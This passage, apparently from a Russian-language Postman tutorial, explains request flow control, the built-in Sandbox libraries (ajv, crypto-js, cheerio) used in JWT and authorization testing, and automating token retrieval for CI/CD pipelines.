    Метод pm.execution.setNextRequest(null) — это мощный инструмент управления потоком. Он позволяет гибко настраивать логику: если авторизация успешна — идем к тестам, если нет — прекращаем работу, не тратя ресурсы сервера на заведомо провальные вызовы.

    Использование внешних библиотек в скриптах

    Postman Sandbox включает в себя несколько предустановленных библиотек, которые незаменимы при работе с JWT и сложной авторизацией: * ajv: Для валидации JSON-схем ответов (убедиться, что токен пришел в нужном формате). * crypto-js: Для создания подписей, хеширования паролей (SHA256, MD5) или работы с кастомными алгоритмами шифрования, если ваш API не использует стандартные JWT. * cheerio: Если ваш эндпоинт авторизации возвращает HTML-страницу (например, форма логина), cheerio позволит распарсить её и вытащить скрытые поля CSRF-токенов.

    Пример использования crypto-js для генерации подписи запроса в Pre-request Script:

    Такой уровень автоматизации позволяет тестировать даже те системы, где требования к безопасности выходят далеко за рамки простой передачи Bearer-токена.

    Завершая разбор, важно помнить: автоматизация в Postman — это не цель, а средство. Она призвана убрать рутину там, где она мешает концентрации на качестве продукта. Настроив один раз скрипты получения и обновления токенов, вы создаете надежный фундамент для CI/CD процессов, где тесты будут запускаться автоматически без участия человека, самостоятельно проходя весь путь от логина до проверки бизнес-логики.